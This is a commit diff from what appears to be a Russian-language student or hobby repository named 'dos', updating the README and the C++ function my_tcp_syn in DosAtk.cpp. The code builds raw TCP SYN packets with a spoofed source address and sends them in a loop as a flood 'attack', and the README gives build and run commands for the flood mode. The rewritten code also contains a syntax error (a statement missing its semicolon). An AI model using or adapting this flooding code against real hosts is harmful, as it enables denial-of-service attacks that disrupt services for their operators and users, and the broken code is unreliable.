fix: source IP, code style, readme
-instead of real IP packet send fake one (localhost currently) -more stylish code style -objectivly cooler readme
This commit is contained in:
parent
6488a42fb6
commit
733b5b6486
20
README.md
20
README.md
|
@ -1,7 +1,9 @@
|
||||||
# Как жить?
|
# Как жить?
|
||||||
|
|
||||||
|
Регаемся на данном сайте, форкаем либу, пушим в свой форк и создаём merge request.
|
||||||
|
|
||||||
```
|
```
|
||||||
git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий
|
git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий (замените на свой форк!)
|
||||||
git checkout -b my_dns # Создаём ветку для реализации модуля my_dns
|
git checkout -b my_dns # Создаём ветку для реализации модуля my_dns
|
||||||
git add * # Добавляем написанный код в комит
|
git add * # Добавляем написанный код в комит
|
||||||
git commit -m 'Написал код' # Комитим в локальную ветку
|
git commit -m 'Написал код' # Комитим в локальную ветку
|
||||||
|
@ -9,9 +11,17 @@ git push origin my_dns # Пушим свою ветку в репозитори
|
||||||
# Теперь в интерфейсе https://gitea.serafimdev.com/serafim/dos создаём пул реквест и пишем мне в тг
|
# Теперь в интерфейсе https://gitea.serafimdev.com/serafim/dos создаём пул реквест и пишем мне в тг
|
||||||
```
|
```
|
||||||
|
|
||||||
Для компиляции:
|
# Компиляция
|
||||||
g++ DosAtk.cpp -lcurl
|
|
||||||
Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: sudo apt-get install libcurl4-openssl-dev
|
Для компиляции: `./build.sh`, либо ручками: `g++ DosAtk.cpp -lcurl`
|
||||||
|
Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: `sudo apt-get install libcurl4-openssl-dev`
|
||||||
|
|
||||||
|
# Запуск
|
||||||
|
|
||||||
Пример запуска:
|
Пример запуска:
|
||||||
sudo ./DosAtk -a flood -i 127.0.0.1 -p 800
|
|
||||||
|
```
|
||||||
|
sudo ./DosAtk -a flood -i 127.0.0.1 -p 800
|
||||||
|
```
|
||||||
|
Запускается только на Линухе!
|
||||||
|
|
||||||
|
|
147
src/DosAtk.cpp
147
src/DosAtk.cpp
|
@ -363,53 +363,56 @@ int my_dns()
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
unsigned short checksum(void *data, int len) {
|
unsigned short checksum(void *data, int len) {
|
||||||
// рассчёт чексуммы для пакета. получает пакет и возращает проверочную сумму
|
/**
|
||||||
uint16_t *ptr = (uint16_t *)data;
|
* Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071)
|
||||||
unsigned long sum = 0;
|
*
|
||||||
|
* Параметры:
|
||||||
|
* data - указатель на данные пакета
|
||||||
|
* len - длина данных в байтах
|
||||||
|
*
|
||||||
|
* Возвращает:
|
||||||
|
* 16-битную инвертированную контрольную сумму
|
||||||
|
*/
|
||||||
|
// === Объявление локальных переменных ===
|
||||||
|
uint16_t *ptr; // Указатель для чтения 16-битных слов
|
||||||
|
unsigned long sum; // Аккумулятор для суммы
|
||||||
|
uint8_t *byte_ptr; // Указатель для чтения одиночного байта
|
||||||
|
// === Инициализация переменных ===
|
||||||
|
ptr = (uint16_t *)data; // Инициализируем указатель на данные
|
||||||
|
sum = 0; // Начальное значение суммы
|
||||||
|
// === Основная логика процедуры ===
|
||||||
|
// Суммируем 16-битные слова
|
||||||
while (len > 1) {
|
while (len > 1) {
|
||||||
sum += *ptr++;
|
sum += *ptr++; // Добавляем текущее слово и перемещаем указатель
|
||||||
len -= 2;
|
len -= 2; // Уменьшаем счетчик оставшихся байт
|
||||||
}
|
}
|
||||||
if (len == 1) {
|
if (len == 1) { // Если остался непарный байт, добавляем его в сумму
|
||||||
uint8_t *byte_ptr = (uint8_t *)ptr;
|
byte_ptr = (uint8_t *)ptr;
|
||||||
sum += *byte_ptr;
|
sum += *byte_ptr;
|
||||||
}
|
}
|
||||||
sum = (sum >> 16) + (sum & 0xFFFF);
|
sum = (sum >> 16) + (sum & 0xFFFF); // Сворачиваем 32-битную сумму в 16 бит (перенос + остаток)
|
||||||
return (unsigned short)(~sum);
|
return (unsigned short)(~sum); // Возвращаем инвертированную 16-битную сумму
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void my_tcp_syn() {
|
void my_tcp_syn() {
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Отправляет TCP SYN запрос на указанный IP и порт
|
* Отправляет TCP SYN запрос на указанный IP и порт
|
||||||
*
|
* status:
|
||||||
* Глобальные переменные:
|
|
||||||
* ip - IP адрес цели (строка)
|
|
||||||
* port - порт цели (строка)
|
|
||||||
* status - устанавливает статус выполнения:
|
|
||||||
* 0 - запрос успешно отправлен (атака продолжается)
|
* 0 - запрос успешно отправлен (атака продолжается)
|
||||||
* 2 - достигнуто максимальное количество запросов (1000)
|
* 2 - достигнуто максимальное количество запросов (1000)
|
||||||
* -201 - ошибка создания сокета для определения IP
|
* -201 - ошибка создания raw-сокета
|
||||||
* -202 - ошибка преобразования IP адреса
|
* -202 - ошибка отправки SYN-пакета
|
||||||
* -203 - ошибка соединения для определения IP
|
|
||||||
* -204 - ошибка получения локального IP (getsockname)
|
|
||||||
* -205 - ошибка создания raw-сокета
|
|
||||||
* -206 - ошибка отправки SYN-пакета
|
|
||||||
* n_ok_requests - счетчик успешных запросов
|
|
||||||
* n_fail_requests - счетчик неудачных запросов
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
// === Объявление локальных переменных ===
|
// === Объявление локальных переменных ===
|
||||||
int route_sock; // Временный сокет для определения нашего IP
|
|
||||||
int sock; // Основной raw-сокет для отправки пакетов
|
int sock; // Основной raw-сокет для отправки пакетов
|
||||||
int one; // Флаг для setsockopt
|
int one; // Флаг для setsockopt
|
||||||
|
|
||||||
// Структуры для адресов
|
// Структуры для адресов
|
||||||
struct sockaddr_in target_addr; // Адрес цели
|
struct sockaddr_in target_addr; // Адрес цели
|
||||||
struct sockaddr_in src_addr; // Наш локальный адрес
|
|
||||||
socklen_t len; // Размер структуры адреса
|
|
||||||
|
|
||||||
// Параметры подключения
|
// Параметры подключения
|
||||||
uint16_t target_port = 0; // Порт цели (в сетевом порядке байт)
|
uint16_t target_port = 0; // Порт цели (в сетевом порядке байт)
|
||||||
|
@ -420,83 +423,48 @@ void my_tcp_syn() {
|
||||||
|
|
||||||
// Псевдозаголовок для контрольной суммы
|
// Псевдозаголовок для контрольной суммы
|
||||||
struct {
|
struct {
|
||||||
uint32_t saddr; // Адрес отправителя
|
uint32_t saddr;
|
||||||
uint32_t daddr; // Адрес получателя
|
uint32_t daddr;
|
||||||
uint8_t zero; // Зарезервировано (0)
|
uint8_t zero;
|
||||||
uint8_t protocol; // Протокол (TCP)
|
uint8_t protocol;
|
||||||
uint16_t tcp_len; // Длина TCP-сегмента
|
uint16_t tcp_len;
|
||||||
} pseudo_header;
|
} pseudo_header;
|
||||||
|
|
||||||
// Буферы данных
|
// Буферы данных
|
||||||
char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы
|
char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы
|
||||||
char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет
|
char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет
|
||||||
char src_ip_str[INET_ADDRSTRLEN]; // Строковое представление IP
|
|
||||||
|
|
||||||
// === Инициализация переменных ===
|
// === Инициализация переменных ===
|
||||||
route_sock = -1;
|
|
||||||
sock = -1;
|
sock = -1;
|
||||||
one = 1;
|
one = 1;
|
||||||
len = sizeof(src_addr);
|
|
||||||
target_port = 0;
|
|
||||||
|
|
||||||
// === Основная логика процедуры ===
|
|
||||||
target_port = htons(atoi(port.c_str()));
|
target_port = htons(atoi(port.c_str()));
|
||||||
|
|
||||||
// 1. Создание временного сокета
|
// === Основная логика процедуры ===
|
||||||
if ((route_sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
|
// 1. Создание raw-сокета
|
||||||
perror("Ошибка создания сокета для определения IP");
|
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
|
||||||
status = -201;
|
status = -201;
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 2. Настройка адреса цели
|
// 2. Установка опции IP_HDRINCL
|
||||||
memset(&target_addr, 0, sizeof(target_addr));
|
|
||||||
target_addr.sin_family = AF_INET;
|
|
||||||
if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) {
|
|
||||||
perror("Ошибка преобразования IP адреса");
|
|
||||||
close(route_sock);
|
|
||||||
status = -202;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 3. Установка соединения
|
|
||||||
if (connect(route_sock, (struct sockaddr *)&target_addr, sizeof(target_addr))) {
|
|
||||||
perror("Ошибка connect для определения IP");
|
|
||||||
close(route_sock);
|
|
||||||
status = -203;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 4. Получение локального IP
|
|
||||||
if (getsockname(route_sock, (struct sockaddr *)&src_addr, &len)) {
|
|
||||||
perror("Ошибка getsockname");
|
|
||||||
close(route_sock);
|
|
||||||
status = -204;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
close(route_sock);
|
|
||||||
|
|
||||||
// 5. Создание raw-сокета
|
|
||||||
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
|
|
||||||
perror("Ошибка создания raw-сокета");
|
|
||||||
status = -205;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 6. Установка опции IP_HDRINCL
|
|
||||||
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));
|
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));
|
||||||
|
|
||||||
// 7. Формирование IP заголовка
|
// 3. Настройка адреса цели
|
||||||
|
memset(&target_addr, 0, sizeof(target_addr));
|
||||||
|
target_addr.sin_family = AF_INET;
|
||||||
|
inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0
|
||||||
|
|
||||||
|
// 4. Формирование IP заголовка
|
||||||
memset(&ip_header, 0, sizeof(ip_header));
|
memset(&ip_header, 0, sizeof(ip_header));
|
||||||
ip_header.ihl = 5;
|
ip_header.ihl = 5;
|
||||||
ip_header.version = 4;
|
ip_header.version = 4;
|
||||||
ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr));
|
ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr));
|
||||||
ip_header.ttl = 64;
|
ip_header.ttl = 64;
|
||||||
ip_header.protocol = IPPROTO_TCP;
|
ip_header.protocol = IPPROTO_TCP;
|
||||||
ip_header.saddr = src_addr.sin_addr.s_addr;
|
ip_header.saddr = inet_addr("127.0.0.1");
|
||||||
ip_header.daddr = inet_addr(ip.c_str());
|
ip_header.daddr = inet_addr(ip.c_str());
|
||||||
|
|
||||||
// 8. Формирование TCP заголовка
|
// 5. Формирование TCP заголовка
|
||||||
memset(&tcp_header, 0, sizeof(tcphdr));
|
memset(&tcp_header, 0, sizeof(tcphdr));
|
||||||
tcp_header.source = htons(12345);
|
tcp_header.source = htons(12345);
|
||||||
tcp_header.dest = target_port;
|
tcp_header.dest = target_port;
|
||||||
|
@ -505,7 +473,7 @@ void my_tcp_syn() {
|
||||||
tcp_header.syn = 1;
|
tcp_header.syn = 1;
|
||||||
tcp_header.window = htons(5840);
|
tcp_header.window = htons(5840);
|
||||||
|
|
||||||
// 9. Расчет контрольной суммы
|
// 6. Расчет контрольной суммы
|
||||||
pseudo_header = {
|
pseudo_header = {
|
||||||
.saddr = ip_header.saddr,
|
.saddr = ip_header.saddr,
|
||||||
.daddr = ip_header.daddr,
|
.daddr = ip_header.daddr,
|
||||||
|
@ -517,29 +485,22 @@ void my_tcp_syn() {
|
||||||
memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr));
|
memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr));
|
||||||
tcp_header.check = checksum(temp_buf, sizeof(temp_buf));
|
tcp_header.check = checksum(temp_buf, sizeof(temp_buf));
|
||||||
|
|
||||||
// 10. Сборка пакета
|
// 7. Сборка пакета
|
||||||
memcpy(packet, &ip_header, sizeof(iphdr));
|
memcpy(packet, &ip_header, sizeof(iphdr));
|
||||||
memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr));
|
memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr));
|
||||||
|
|
||||||
// 11. Настройка адреса цели
|
// 8. Отправка пакета
|
||||||
memset(&target_addr, 0, sizeof(target_addr));
|
|
||||||
target_addr.sin_family = AF_INET;
|
|
||||||
target_addr.sin_addr.s_addr = inet_addr(ip.c_str());
|
|
||||||
|
|
||||||
// 12. Отправка пакета
|
|
||||||
if (sendto(sock, packet, sizeof(packet), 0,
|
if (sendto(sock, packet, sizeof(packet), 0,
|
||||||
(struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
|
(struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
|
||||||
n_fail_requests++;
|
n_fail_requests++;
|
||||||
}
|
status = -202;
|
||||||
else
|
} else {
|
||||||
{
|
|
||||||
n_ok_requests++;
|
n_ok_requests++;
|
||||||
|
status = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 13. Проверка завершения
|
// 9. Проверка завершения
|
||||||
status = 0;
|
if ((n_ok_requests + n_fail_requests) >= 1000) {
|
||||||
if ((n_ok_requests + n_fail_requests) >= 1000)
|
|
||||||
{
|
|
||||||
status = 2;
|
status = 2;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue